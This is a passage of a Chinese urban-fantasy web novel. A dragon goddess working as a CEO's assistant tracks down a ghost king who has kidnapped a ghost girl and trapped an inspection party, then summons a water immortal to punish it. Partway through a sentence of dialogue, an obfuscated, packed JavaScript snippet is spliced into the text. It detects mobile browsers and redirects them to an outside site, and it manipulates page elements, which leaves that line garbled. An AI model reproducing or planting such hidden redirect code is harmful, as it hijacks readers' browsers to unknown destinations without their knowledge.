应真潇嘴角微勾,下意识地想要拒绝,但是想到今天早上地铁上的盛况,拒绝的话在嘴里打了个转,又咽了回去。 ——这地铁根本不是龙挤的。 “陆总,容我问一句,”她说:“这房子产权人是你吗?” 陆雁书:“是。” “好的。”应真潇松了一口气:“那就麻烦陆总了。” 根据她的研究,考功司的规定没有那么死板,收受寻常礼赠一般不影响结算——只要有正常的、作为人类的社交关系。 当然,软饭小吃两口可以,太过分不行,被《指南》点名批评的其中一个例子,就是因为性质恶劣,十几年除了吃软饭啥也不干,才被抓典型的。 陆雁书是她的上司,因为公司政策问题,出借名下的房产给她,合情合理,说得过去。 不过这得签个合同留证,陆雁书同意了,说梁博会把房屋信息和合同内容告诉她,应真潇点点头:“陆总,我还有个问题啊。” “——你会因为我住得离公司近,首先安排我加班吗?” 陆雁书:…… 他吸了一口气,平静道:“不会。” 终于破功了,应真潇心满意足地走了。 不久,梁博通过私人微信,把详细信息发给了她,应真潇给他和陆雁书都道了谢,但两人直到上午工作时间都没有回复她。 “走啊潇潇,”钱佳妮招呼她:“吃饭去。” 应真潇摇摇头:“你去吧,我在工位吃就行。” 钱佳妮以为她自己带了饭,一个人走了,等她走了,应真潇从包里掏出一袋压缩饼干,就着白开水吃。 钱佳妮说公司有餐补,如果不去食堂吃饭,每餐可以折二十块钱——当然,因为食堂水平很不错,远超二十块钱水平,一般没人折现。 但应真潇现在没有味觉,能闻到饭香,能看到别人吃得津津有味,自己却是物理意义上的味同嚼蜡,去食堂和上刑有什么区别? 所以她选择放过自己,吃压缩饼干心理落差小多了,还能顺便赚点钱,然后晚上再买一顿好吃的喂小崽,以及家里那个死鬼(物理)。 正吃着,电梯间传来脚步声,出去一上午的陆雁书回来了,梁博跟在他身后。 看她一个人在工位上,陆雁书走了过来,看着她桌上凄凉的压缩饼干,平静如水的双眸漾起涟漪:“你中午就吃这个?” 应真潇又闻到了他身上的水的香气,逐渐变得浓郁——与之前不同,这次闻起来像是冬天的河流,厚重的冰层下,是压抑的激流。 她看着陆雁书,不禁产生了一个石破天惊的猜想。 这不会是……陆雁书情绪的味道吧? 这太震撼了,人类的情绪确实有味道,陆雁书也确实不算是普通人类,可她此刻只是个普通人啊。 应真潇一时有些茫然。 “怎么不去食堂?”陆雁书调整了一下语气,稍微缓和了一点:“味道不喜欢?” 应真潇张了张嘴,又不知道怎么问,心不在焉:“……陆总,不去食堂每餐可以折二十块钱,我攒钱呢。” 陆雁书已经明确回答过了,再追问,不礼貌,也没有意义——就算是真的,他大概也不知道原因。 ……但是,真的好香啊。 应真潇活了一千多年,又身居高位,三界的奇香没有她没见识过的,可以说,在这方面阅历丰富,审美极高;但陆雁书身上的香气,确实是她闻过的最特别、最吸引她的味道。 真实存在的水,味道是复合的,例如水中的青苔、流动的泥沙、飘来的落叶、甚至是太阳晒过的水体,不难闻,还会带来独特的地域风味。 例如,龙族中很流行的一款香氛,是萃炼过的南海净水,被龙众认为有“温暖宁静的珊瑚的香气”,很受追捧。 但陆雁书的味道,是一种殊为纯净的水的味道,只有水随时间流转轮回产生的变化。 这不但是龙族的大众xp,还精准戳中了应真潇的个龙偏好,她喜欢得要命。 ……要是以后陆雁书愿意和她发展一下,等她回了龙族,就封他当香妃。 乱七八糟的想法充斥着应真潇的脑海,她机械地拿起一小块压缩饼干塞进嘴里。 陆雁书:…… “你很缺钱?”他说。 好一句振聋发聩的高论,应真潇不知如何解释,只好真诚地看着他:“陆总,世界上应该很少有人完全不缺钱吧。” 陆雁书无言以对,沉默了一会儿,叫梁博拿了一张卡过来,递给她:“你别吃这个,去食堂。” “刷我的卡。”他补充道。 应真潇接过来一看,沉默了。 ——饭卡。 好一个霸道总裁。 “陆总,好意心领了,但这个我不能接。”梁博在,应真潇没有说得太直白:“你可以问陆雁锦。” 房子是她花钱租的,虽然租金略低,但也说得过去;但花陆雁书的钱吃饭,这没道理。 更何况应真潇不想去食堂,眼不见为净,看见了心烦。 陆雁书微愣,点点头:“我明白了。” “你明天和我去南应市出差。”他沉稳道:“梁博,把她加进随行名单里,接下来半年的行程都依此例。” 应真潇:? 虽然比起坐在办公室,她确实更喜欢出外勤,但这个转折的逻辑在哪里? “你不是缺钱么?”陆雁书淡声道:“外地出差有外勤补贴。” 应真潇:…… 巧立名目卡BUG,还就那个上有政策下有对策。 ——见微知著,她已经想象到下次结算时,面对众仙各显神通钻空子,考功司工作人员的脸色会有多精彩了。 “多谢陆总。”应真潇喜笑颜开:“陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447597|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总英明。” ——但是死道友不死贫道。 …… 下午,有人送来了精致的茶歇,梁博说是陆总给大家订的:“最近事务繁杂,大家工作辛苦了。” 他是秘书处的头头,代表的是陆总的意思,大家感谢过后,一人领了一袋回到工位,里面是一些包装精致的茶歇点心、一角千层蛋糕切件和一杯饮料。 “Adoucir啊,”总裁助理收入高,吃过见过的人不在少数:“还买这么多,陆总破费了。” 应真潇挑眉,钱佳妮小声道:“是一个法国人开的烘焙工作室,在市区那边,这一袋得小五百块呢。” 她把茶歇袋子收到一边,没有要吃的意思。 应真潇开了一盒水果挞给小崽,剩下的则收好,带回去给小崽当晚餐,顺便投喂奉嘉禾。 下班时,曾照云约她见面,她走到停车场,曾照云从车上下来:“应小姐,下午好。” “下午好,曾主任。”应真潇看了一眼她的车,是一辆十万出头的新能源,贴着蓝紫珠光的车膜,和曾照云的气质有些反差。 “这车是苗苗的。”曾照云笑眯眯道,常服虽然朴素,但精神状态比昨天好不少,整个人甚至堪称容光焕发:“应小姐不嫌弃的话,私下里叫我阿姨吧。” 应真潇点点头:“曾阿姨,你叫我小应就行。” “哎。”曾照云搓了搓手,有些不好意思,小心翼翼道:“小应,我送你回去吧,顺、顺便看看苗苗。” 她期待地看着应真潇。 “好啊。”应真潇笑了笑:“麻烦曾阿姨了。” 曾照云高兴了起来,上前给她拉开车门:“不麻烦,不麻烦!阿姨给你带了奶茶和点心,不知道你喜欢什么,随便买了一些。” “我今天请了丧假,去了一趟殡仪馆,”她絮絮叨叨:“工作人员说骨灰盒有不同样式的,不知道她喜欢那种,我拍了照片,让她自己选。对了,小应,火化苗苗她会不会痛啊?” 应真潇:“不会。” 按奉嘉禾那个好奇劲儿,搞不好还会去殡仪馆围观自己的火化现场。 “那就好。”曾照云说。 到了酒店,曾照云把车停稳,从后备箱拖出来一只28寸的大行李箱:“我给苗苗带了一些衣服和生活用品,还有她喜欢的零食。” 应真潇上前帮曾照云放平行李箱,掂了掂分量,不由得想到了她的大学室友,每周从家里回宿舍,都是这样满满当当一大箱,嘴上说爸妈非要塞害她搬得手痛,嘴角却翘得老高。 两人上楼,应真潇刷开房门,曾照云便迫不及待进门:“苗苗,妈妈来了苗苗,快看妈妈给你带了什么——” 房间里没有任何回应,只有雪花屏电视机,发出的呲啦呲啦的电流声。 气温低得反常,应真潇神色一凛,她抓着小崽,眼球一阵刺痛,在房间里搜寻了一圈,却没有发现奉嘉禾的身影,连她附身的项链,也失去了不详的阴气。 曾照云没收到回应,有些不安,问她:“苗苗怎么不在?她、她是不是出去散心了?” “应该不是。”应真潇摇摇头,拿出手机,正要打电话,她想联系的人,却先一步给她打来了电话。 陈秘书声音沉稳,呼吸却有些急促:“应小姐,突发事件。” “——刘珂死了。” 20. 当龙王 20 刘珂是郑宇俊的现女友。 昨天夜里,陈秘书知会过她父亲可能存在的风险后,她父亲以祈福的名义,连夜把她和家中女眷打包送去了明光寺“小住”。 上午一切如常,直到下午,刘珂感到无聊,不顾阻拦强行离开。 回市区的路上,她发生了严重车祸,尸检结果和行车记录显示,在碰撞发生前,她就已经因为心源性猝死失能。 陈秘书:“崇真观的周主任,和您看法一致。” “我知道了。”应真潇神色平静,就像酝酿着风暴的水面:“事情我会解决。” 陈述句。 她唇角微勾,却没有笑意:“入室绑架,这已经不是一般的歹徒了,必须重拳出击。” 租来的酒店也是寝宫,这要是被他逃了,应真潇的脸面往哪搁。 挂断电话,应真潇向曾照云简要交代了奉嘉禾罹难的始末,以及她现在的猜测。 “这、这……怎么会这样……”曾照云脸色立刻变得惨白,身形摇摇欲坠。 但她知道当务之急是解决眼下的问题,稳住心神,握着应真潇的手,就像握着救命稻草:“小应,咱们怎么才能找到苗苗?我能帮上点什么?查监控?” “监控看不到。”应真潇摇摇头,走进洗手间,接了一杯自来水:“但水知道。” 凡间的一切动向,都有元炁流通的踪迹;元炁的流通,会在土地与水体中留下痕迹。 而龙族,尤其擅长从水体中搜寻此类痕迹,族中谓此术法曰“责水”。 应真潇将杯中水泼在台面上,一手按着龙蛋,一手忍着剧痛,指尖轻点大团水渍:“去!” 在曾照云震惊的眼光中——这冲击并不比奉嘉禾现形来得小,水渍开始剧烈的颤抖起来,随后蜿蜒着,变成三个歪歪扭扭的字迹:团结垸。 应真潇“啧”了一声。 还真是无巧不成书,团结垸就在她明天出差要去的南应市。 更巧的是——团结垸就在应真湖边上。 随后,水渍又变幻成“安”字,这证明奉嘉禾现在是安全的。 应真潇松了口气,奉嘉禾是厉鬼,灵力水平并不低,短时间内,郑宇俊也没办法拿她怎么样;所以她更担心奉嘉禾受到刺激后,再次失去理智,伤害无辜者甚至大开杀戒。 现在看来,暂时没有风险。 曾照云:“地址可以更精确一些吗?” “权限不够。”应真潇摇头。 她用的是小崽的账号,只能问到普通龙族的程度;更精确的地址,需要龙王的权能,否则“根据相关法律规定,不予显示”。 她提了提自己的行程,让曾照云稍安毋躁:“我明天就去南应。” 曾照云神色坚定:“我也去。小应,你说个章程,我来安排。” “你还不知道吧,小应,”她笑了笑,声音却有些颤抖:“苗苗她爸爸就是在团结垸牺牲的。” …… 翌日,远潮集团一行人落地南应市慈恩机场。 陆雁书是来考察、敲定新合作的,本地主管官员热情接待,应真潇落在后面,和梁博偷偷说话。 “确定我离队没问题吗,梁助?”应真潇说:“实在不行,记我旷工也可以。” 梁博颔首:“应助理处理好公司的事务即可,其余时间可以自由支配,考察团没有安排您的日程。” 她是被安排进来混补贴的,早先敲定的行程和她无关,她自由活动,无关紧要。 应真潇点点头:“放心。” 说完,她背着双肩包往接驳车方向走。 “应真潇。”正在和书记寒暄的陆雁书叫住了她。 应真潇“嗯”了一声,走过去:“陆总。” “……注意安全。”陆雁书语气淡淡:“有任何问题,联系我或者梁博。” 伴随着一股浅淡的水的味道,平静、包容又坚定。 应真潇喉咙痒痒,想问他“什么事都兜得住吗?”,但考虑到领导就在身边,开玩笑有碍观瞻,她还是绷住了,点点头,礼貌克制:“好。” 背过头去,她嘴角忍不住勾起来,脚步也显得轻快。 这家伙长得帅,身上香香的,一本正经说话的样子怪有意思,真是讨龙喜欢。 曾照云买了同一航班的机票,正在接驳车上等她,昨晚似乎没休息好,看着有些憔悴,但神情却十分坚定。 两人走普通乘客通道出站,曾照云带着应真潇去停车场,从保安处拿了钥匙:“我以前同事家里的车,借过来开几天——有车总归比较方便。” 应真潇点点头,打开地图软件导航,直奔南应市殡仪馆——按照陈秘书给的信息,郑宇俊今天下午会到殡仪馆,领取他父亲的骨灰。 两人刚到殡仪馆停车场,就发现了郑宇俊,他捧着骨灰盒,正从往停车场走,看起来不修边幅,神情萎靡又显出诡异的亢奋。 “我去拖住他,”应真潇说:“阿姨,你去叫一下保卫处的人。我估计他不会轻易就范。” 她如果是龙身,十个郑宇俊捆一起都不够她一回之敌;但现在她是人,不能确定是否按得住一个完全不配合的大男人。 曾照云点点头,动作轻巧地下车,猫着腰从车后面绕去保安亭。 应真潇下车:“郑宇俊。” 郑宇俊回头,看到是她,下意识后退一步,姿态警惕。 “下午好。”应真潇摘下墨镜:“听说令尊仙逝,节哀。” 不,这不对。 直觉告诉郑宇俊,应真潇不应该出现在这里,更不应该和他这样说话,他看着应真潇,将骨灰盒挡在胸前,神情警惕且沉默。 “别紧张,”应真潇微微一笑:“只是找你问点事。” 郑宇俊声音沙哑:“我和你没什么可说的。” “没话说?”应真潇说:“那天我回气象局,不是还特意来找我说话么?这才过了几天,怎么就和我没话说了?” 保安亭传来一阵脚步声,郑宇俊犹如惊弓之鸟,猛然回头,却看见了领着保安的曾照云,瞳孔骤缩。 他立马意识到,应真潇来者不善,搭讪只是在拖延时间,猛然把手里的骨灰盒,砸向应真潇,自己则连滚带爬地冲向一辆车。 应真潇:…… 有点好孝:) 来不及多想,她撩起 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应真潇按着滴溜溜转,试图给她预警的小崽,冷静道:“改易地局之法。看来,他找到了帮手。” “那怎么办?”曾照云问。 应真潇张口欲言,却看见车边浮现一个身影,是一个身着古装,身材瘦小的老太婆,朝她作揖,又指了指曾照云,似有话要说。 是本地土地神。 她挑眉,话又咽回肚子里,从包里抽出修眉刀,问曾照云:“阿姨,能接受一些不太科学的东西吗?” “可以!”曾照云一口答应:“只要能救回苗苗,要我的命我都愿意!” 应真潇点点头,用修眉刀割破小指,用力一挤,血肉撕裂和灵力汇聚的疼痛叠加,她咬着牙:“闭眼!” 曾照云照做,应真潇将指腹的血珠抹到曾照云眼皮上,一边抹,一边给她打预防针:“阿姨,等下你看到的是本地的土地神,不是鬼。” 饶是如此,曾照云睁眼的时候,还是被突然出现的土地婆吓了一跳,下意识地往后一靠。 “小神问这位高功安,”土地婆作揖:“问曾老爷安。” 应真潇纳闷:“什么老爷?” 这看着不像是日行一善来的,倒像是和曾照云有前缘。 “咳……”曾照云有点不好意思,放下车窗,小声道:“我是上一届南应市书记。” 土地婆点点头,自述是此地土地神,见曾照云遇到难事,特来相助:“曾老爷主政时勤政爱民,福泽一方,不但百姓安居乐业,小神亦承老爷环……环境保护之恩德。” 应真潇点点头:“连本地土地都认可,阿姨真的给南应百姓办了很多实事啊。” 曾照云连忙说哪里哪里。 “老爷谦虚了。”土地婆笑道。 应真潇教育她:“现在是新社会,你叫主任就可以了,不然要是让纪委听到,你就陷曾主任于不义了。” 土地婆点点头:“小神知道了,曾主任老爷。” 应真潇:…… “……算了。”她说:“先说正事,你知道什么情况?” 21. 当龙王 21 土地婆说,她知道她们在找的人去了哪里:“他是本地郑氏子孙,受山中鬼王庇佑。鬼王布阵挡住了二位。” 她劝两人不要冒进:“鬼王势大,两位宜请龙女庙道士来交涉,有娘娘神威作保,鬼王不敢逾越;否则,两位孤身前去,恐有危险。” 曾照云抬头看向山中,山林中充斥着浓黑雾气,抿着唇:“可苗苗——也就是我女儿,在他们手里,我没有那么多时间拖延。” 应真潇也点点头:“对。” 奉嘉禾现在安全,但不代表一直安全,拖的时间越久,不安全的可能性就越大。 “……原来如此。”土地婆面露同情之色,又道:“老爷舐犊之情,小神省的。高功道行高深,但二位人在屋檐下……” “更何况,那人还伙同鬼王挟持了一些凡人,”土地婆说:“二位或许无虞,但小神恐怕鬼王无状,贸然害了凡人性命。” 应真潇皱眉:“凡人?” 胆大包天啊。 “是。”土地婆说:“小神没敢凑过去细看,但依稀认得有几位主政本地的主任老爷,还有一个满身罡炁的英俊后生,此外,便是一些普通凡人。” 官员有天罡护体,满身罡炁的人也不怕鬼神,但普通凡人经不起折腾,一旦被冲撞,轻则大病一场,重则立时暴毙。 应真潇眯了眯双眼。 主政本地的几位官员,她上午刚在机场见过,今天应该都和远潮考察团在一起;满身罡炁的人,应真潇最近只见过陆雁书一个——那家伙命硬得能把大妖怪克死。 她问:“满身罡炁那人,是不是身材高大,长相英俊,姓陆?” “小神不知那位公子姓什么。”土地婆认可了前面的内容。 应真潇:……草:) “走,阿姨我们走!”她开门下车,气势汹汹:“不长眼的东西,什么人都敢绑,不给他点颜色看看,都不知道马王爷有三只眼!” …… 比起应真湖北边平原辽阔的应州市,南应市地理条件差些,垸区以外坡度突变,两公里内,海拔从湖面零米骤升至六百余米,地貌丘陵起伏,水网破碎,工农业条件均不如应州市。 在上一任曾书记的带领下,南应市经济取得了长足发展,连垸区都实现了脱贫致富;现任书记上任后,准备依托应真湖和丘陵半岛地貌,发展旅游业,大展拳脚,再创辉煌。 恰好从本地发轫的远潮集团,既有持续投资家乡的意向,又有投资、运营滨湖滨海旅游景区的经验,双方一拍即合,促成了本次考察。 而当陆雁书意识到不对的时候,众人已经被困在了山坳中的工厂里,这里似乎是三线建设的遗产,早已经废弃了,铁门锈出一个大洞,而四周只有密得令人胆寒的深林,连飞鸟的声音也无。 ——但不久前,他们还走在大马路上。 众人不由得聚拢,面面相觑之下,恐慌的情绪开始在考察团里蔓延。 “……不要慌,不要慌!”常书记绷着脸,站出来主持工作:“可能是山里面信号不好,李书记,回去之后,你督促工信局把基础设施搞好,搞旅游连信号都没有怎么行?” 他拿出手机:“大家都拿出手机,看看谁的信号好一点,给外界打电话;手机有卫星通话功能的,也都试一试!” 反常情况下,信心比黄金还珍贵,有人带头,众人的情绪也就安定了不少,哆哆嗦嗦地拿出手机,试图和外界联系。 陆雁书按指示行事,神色平静,目光却一凛,带着一触即发的警觉。 而躲在暗处的郑宇俊看到这一幕,歇斯底里的狂笑却一滞,转变为扭曲的神色。 凭什么?他还没有欣赏够这些家伙——这些平日里高高在上,对他连正眼都欠奉的狗东西惊慌失措的表情! 凭什么他们可以冷静下来,而他却像丧家之犬一般东躲西藏,恐惧着不知何时到来的惩罚?! 他手一挥,不属于他的力量从玉佩上溢出,化作一股黑风,袭向众人。 一片青色光芒陡然浮现,阻挡了黑风的袭击,但这犹如恐怖电影般的特效,本身已经足够吓人了,众人惊呼出声,甚至有人跌坐在地。 “聚拢,聚拢!”常书记脸色苍白,但还是在组织秩序:“女同志站中间!” 陆雁书拍了拍他的肩膀,示意他不要慌张,又脱离了紧紧挨着,哭声不绝的人群,从衬衫中取出龙鳞项链,吊在指尖,朝向黑风袭来的方向:“可识得此物。” 受煞气刺激,龙鳞光芒大盛,像一个青色的太阳,燃烧在半空中,驱散了阴冷恐怖的氛围。 郑宇俊当然不认识,怒极反笑,再次召来一道更强劲的黑风,但龙鳞遇强则强,反回去的力量就像一个巴掌重重拍下来,砸得他胸口一闷,从高处掉了下来,摔了个狗啃泥。 他咳嗽半天才缓过神来,张嘴吐出一口鲜血,恨恨地抬头,却对上陆雁书俯视的目光,那眼神平静地像是秋后的潭水,并不因他而泛起涟漪。 郑宇俊脑海中,顿时浮现出了几天前的场景,那时应真潇也是这样,冷淡地看着他,就好像他是无足轻重的蝼蚁。 该死、该死——! 他血气直冲脑门,不停地喘着粗气,紧紧握着玉佩,却不敢再有所动作。 忍、忍、忍—— 郑宇俊强压下心中怒火,神色却不自觉地扭曲了。 ——再位高权重又怎么样?还不照样成了阵法的生饵?等他抓住奉嘉禾,一定把这些家伙折磨到死! 陆雁书神色平淡:“你有什么诉求?” “诉求?”郑宇俊踉跄着站起来,神色狰狞扭曲:“借你们人头一用。” 众人被吓得惊叫出声,紧紧团在一起颤抖哭泣,有些人甚至连眼睛都不敢睁开。 凡人的恐惧、不安和痛苦取悦了郑宇俊。 “侵害凡人是重罪,你应该知道。”陆雁书不为所动:“如果你想利用我们达成什么目的,放了其他人,我和常书记留下,或许可以减轻责任。” 他俩有罡炁护体,倒不是很害怕鬼神煞气;但其他人就不好说了。 常书记壮着胆子,点点头:“对,放了其他人,我和陆总留下!” ——凭什么,你们这群瓮中之鳖,凭什么和我谈判? 郑宇俊不愿意看到他们这么镇定自若,神色越发扭曲,咧嘴一笑,露出歇斯底里的疯狂:“和我谈条件,你们也配?” 说完,他挥挥手,一阵不详的 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人群中有人跟着点头,他们不知道什么是被煞气侵蚀,但是能感觉到自己的体温在下降,意识在丧失,身体逐渐变得虚弱。 常书记颔首,不过,他没有清晰感受到煞气的侵蚀。 “干部有紫气护体,寻常鬼神近不得身,但呆久了,同样会受影响。”陆雁书说:“相对来说,女性和八字轻阳气弱的人,会更快感知到煞气的影响。” 常书记刚想问他怎么知道,随即反应了过来,这家伙有家学。 ——陆家上下都挺……传统的,也正是如此,有陆家投资的南应机场,才会命名为慈恩。 陆雁书把龙鳞递过去:“这是应真湖龙女的鳞片,有镇水辟邪的效果。” “多谢陆总。”常书记说。 他立马组织众人转移到厂房中——有个遮盖总比露着好,却发现厂房中已经有几个人了,各个身体冰凉,脸色发青。 众人骇然,陆雁书独自走过去,蹲下身试了试几个人的颈侧脉搏,回头道:“还活着,但是情况危急了。” “看打扮是附近的老乡。”常书记皱着眉走过去,招呼随行的医务人员:“赶紧来看看。” 一阵兵荒马乱后,常书记指挥道:“大家站成一个圆,级别高的同志和党员同志站在外围,其他人站里面,把这几个老乡围起来,龙鳞放在他们身上。” 圆形可以聚拢阳气,减缓煞气对人的侵蚀;而陆雁书等人站在外围,则起到了避免煞气侵入的作用。 秩序驱散了恐惧,但随着时间流逝,煞气还是对人产生了影响,站在里面的人有龙鳞持护,状态尚可;外圈的人却开始浑身发冷了。 气氛逐渐低迷,黑雾越来越浓,有人开始低声哭泣,但笼罩着山坳的黑雾却突然散去,阳光从窗外照了进来。 门外却传来“砰”的一声巨响,把犹如惊弓之鸟的众人吓得立刻抱团,从窗户里偷看,外面发生了什么。 又是一声巨响,铁门被从外面整个踢倒,露出一个人影,叉着腰,中气十足:“郑宇俊你个不长眼的王八蛋,把陆雁书弄到哪里去了?狗东西吃了熊心豹子胆了,我的人你也敢动!” 22. 当龙王 22 ——竟然是陆总那个极其漂亮的女秘书! “啊……”刚才还在抹眼泪的一个女生,眼神开始游离:“什么叫……” 【我的人】? 真是令人浮想联翩的表述啊:) 紧要关头,八卦的欲望反而报复性增长,众人纷纷看向陆雁书,常几个老同志还比较稳重,咳嗽了一声,没有明目张胆地看。 陆雁书:…… 他绷着脸。 …… 土地婆将她们引向这里,应真潇施法散去煞气,又邦邦两脚,踹开铁门。 大门洞开后,却没见到人影,她啧了一声:“郑宇俊你别装死!别以为我不知道你在这里!” 仍然无人应答。 先礼环节结束,应真潇冷笑一声,蹲下身,左手按着龙蛋,右手指尖在薄薄的沙土上,写出一个龙飞凤舞的潇字云水纹。 符文书毕,闪出一道金光,随即,以其为中心,空气中的阴冷煞气,开始飞速消散,甚至发出尖锐、凄厉的尖啸声,如同冷水冲进沸油中。 在曾照云眼中,就是山林中的黑色雾气开始飞速消散。 “聚煞的阵法。”应真潇说:“难怪要绑架活人,原来是生人阳气为饵,聚拢周边的煞气——他们就是靠这个,把奉嘉禾从我那里带走的。” 横死鬼怨气深重,神智脆弱,用这种阴邪的术法一刺激,就会立刻狂性大发,徇之而来,中间还免不了造下许多杀孽。 曾照云点点头,拢了拢身上的冲锋衣外套——这还是应真潇脱给她的:“被他们挟持的人呢?会不会有危险?” 话音刚落,厂房里传来人声:“曾书记!曾书记我们在这!” 从窗户里露出来的人脸还挺眼熟,正是应真潇早上在机场见过的常书记。 两人正要往厂房里走,一道煞气迅猛袭来,应真潇猛然拉住曾照云,并将龙蛋挡向煞气袭来的方向:“去!” 龙蛋青色光芒大盛,平地炸起一道惊雷,瞬间击散了阴邪的煞气。 “郑宇俊!”应真潇冷笑:“我知道是你。躲起来也没用——我马上就来找你。” 暗处的郑宇俊吐出一口鲜血,表情扭曲,正要再召来一道煞气,一只阴凉的手却按在了他的肩上,冷得他半边身子立刻失去了知觉。 他连忙往边上一让,欠身行礼,不敢看“祂”的眼睛:“鬼王。” “应真湖龙女庙的□□之法。”鬼王的嗓音轻柔飘忽,却蕴含着恐怖的威压:“让我来。” 祂在半空中显出形体:“贵客来访,小女子有失远迎。不过,贵客没有邀请,就兀自闯进群金山,拆了小女子的阵法,恐怕不太礼貌吧。” “哦?”应真潇嘲讽道:“原来你也知道,贸然闯到别人家里抢劫不礼貌啊?我还以为你不知道呢。” 鬼王脸色微僵。 阴物,尤其是强大又缺少阴司神力束缚的阴物,往往性情暴戾扭曲,偏激狭隘,根本受不得激。 祂舔了舔嘴唇,猩红双目变得越发明亮,似乎要流出鲜血,嗓音也变得尖锐刺耳了起来,就像披着人皮的怪物,逐渐褪去了人皮:“不敬之徒……” 天空中的黑雾又重新聚拢,厂房里的人吓得瑟瑟发抖,陆雁书拧着眉,走出来,把曾照云塞进厂房里:“曾主任,您先进去。” 厂房里有龙鳞坐镇,一时半刻,不会出事。 曾照云忧心忡忡:“那你和潇潇……” “无妨。”陆雁书神色平静,走上前和应真潇并肩:“我在。” 就算没有龙鳞,这阴物也奈何不了他。 应真潇也知道,所以扭头看了他一眼,开玩笑:“陆总,我救驾来迟,害你受惊了。” 陆雁书:…… “没有。”他绷着脸道。 见两人不把祂放在眼里,鬼王神色越发扭曲,黑雾逐渐凝成了黑云,将山坳中映得如同黑夜。 看不到陆雁书英俊的脸了,应真潇啧了一声,扭头看向鬼王,抛了抛手中的龙蛋。 鬼王:…… 祂的眼神清澈了些许。 “最后给你个机会。”应真潇道:“放了奉嘉禾,把郑宇俊交出来,让我们走。” 鬼王强压着疯长的暴戾:“高功修为了得,小女子佩服。不过,修道不易,还请高功珍惜。” 看来谈判破裂了。 “活七百年也挺不容易的,怎么没见你珍惜?”应真潇冷笑:“敢行此大逆不道之事,不怕阴司刑罚加身?” 鬼王越发暴躁不安:“休拿阴司压我,本王心意已决,不怕事后吃些挂落。你还是先考虑考虑自己吧,便是强龙,也压不下地头蛇!” 应真潇:…… 在应真湖边上,跟她自称地头蛇? “那就来试试成色!”她嗤笑一声:“汝剑利,我剑未尝不利!” 鬼王尖啸一声,彻底褪去人形,变成一团恐怖的血雾,铺天盖地的煞气压了下来,一时间场景恐怖得犹如地狱。 无论是郑宇俊,还是厂房里的其他凡人,尽皆七窍流血,脸色发青。 陆雁书倒不受太多影响,他脸色一凝,上前护住应真潇。 应真潇冷笑一声,割破食指,用血珠汇聚小崽的灵气,指尖按在沙地上,如同龙蛇游走,一气呵成画了个飘逸的符号。 符成,血迹金光大盛,恐怖的威压自符文中迸发出来。 鬼王凝聚的煞气被一扫而空,连祂本身都受到了影响,炸成一团血雾,随即坠落在地,虚弱地支起身子,神色中露出恐惧。 这是、这是…… “要死啊!”金光中显出一个青年的身影,白色的衣衫不太整齐,打着哈欠:“打扰本座睡觉,你最好有要事——” 有点丢龙,应真潇吸了一口气,假笑:“工作时间睡觉,仙君真是闲情逸致。” 青年眯着眼睛看向她,随即瞪大双眼,立马清醒了,差点跪下:“元元元元……” ——元君娘娘! 虽然没有龙族神力在身,但他不可能认不出顶头上司的脸啊! “仙君真是贵人事忙。”应真潇似笑非笑地看着他:“您忘了吗?在下应州应真潇,曾在龙女庙得您教诲。” 青年:“……原来是你。” 鬼王瞪大了双眼。 ——不,这不可能! 祂神色骇然,突然意识到,自己好像招惹了不该招惹的人。 这人到底什么来头?随随便便,就能召来应真湖水府的青阳真君!那可是应真湖水府中仅次于龙女娘娘的存在! “打扰仙君休息了。”应真潇露出营业微 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“大人们说话,轮得到你个小鬼插嘴!”青阳斥责她,轻轻一挥衣袖,鬼王便飘出去好远:“元……不是,小应,你继续说。” 应真潇便把郑宇俊伙同鬼王,杀害两名无辜女子,又以生人为饵,作法从她房间里劫走奉嘉禾魂魄之事的始末道来,又指了指鬼王:“她说她不怕阴司惩罚,还说她是地头蛇,要给我好看。” 青阳:…… 真是石破天惊的高论啊,他一时不知从何说起。 “应真湖是元君封地,水府驻在,诸神在上,岂能容忍此等残害生灵之恶行?”应真潇义正严辞,朝青阳拱手:“还请仙君明鉴!” 青阳咳嗽一声,目光凌厉:“此等悖逆之事,本座必不能容!” 他回身走向鬼王,明明是在陆地上,脚下却泛起浪花。 “不、不是这样的,您听我解释……”鬼王不住地摇头,语无伦次:“都是误会……” 青阳手一伸,手中便出现一根笏板,他凌空一挥笏板,笏板上金光大盛,砸向鬼王:“娘娘神恩浩荡,许尔等迁附,尔等非但不念娘娘恩情,日夜修行,竟敢行此悖逆歹毒之事!” “群金山住着不舒服是吧?”青阳冷笑:“那就给本座去阴司蹲大牢!” 金光消散,鬼王便被削去所有灵力,显出虚虚的人形,奄奄一息地趴在地上——这就是她生前的模样,也是鬼魂最虚弱、无力的形态。 “早知如此,何必当初啊。”应真潇啧啧点评:“我给过她机会了,不珍惜。” “……别说话了。”陆雁书扶着她,嗓音低沉:“保重身体。” 他能感觉到,应真潇已经极其虚弱了,一边说话,一边止不住地发抖。 应真潇靠着他,顺手把龙蛋塞进他西装口袋里,笑眯眯:“别担心啊陆总,我重任在身,死不了的。” kpi结算前,一般不会触发死亡结局,某种意义上也是考功司的优待了。 啊,她感慨,好温暖好结实的肌肉。 好香的陆雁书。 余光瞥到脸色惨白,想要逃跑的郑宇俊,她懒懒地抬了抬手,指挥青阳:“仙君,还有一个,别让他跑了。” 郑宇俊立刻被定住,身体动弹不得,他面露惊恐之色。 23. 当龙王 23 正当此时,一队阴司官吏赶来,自述前来处理突发情况:“……本地土地上报,此处所居鬼王,诱骗生人,行禁忌之事。” 土地婆报警了属于是。 “仙君,先把里面的凡人送走。”帮手来了,应真潇吩咐道:“阴阳有别,此地煞气太重,他们受侵蚀已久,再呆下去,恐怕影响寿数。” 她重读了“阴阳有别”四个字,青阳心领神会,指了指陆雁书:“这位亦然?” “陆总有龙鳞护持,无妨。”应真潇说。 陆雁书鬼见得多了,不差这点;再说,记忆消除术有失败的风险,他情况又特殊,应真潇担心青阳这家伙手艺不精,回头弄巧成拙,该忘的没忘,再想起来点不该想起来的:) 厂房里的人得知自己获救,纷纷松了一口气;曾照云则变了变脸色,连忙跑出厂房。 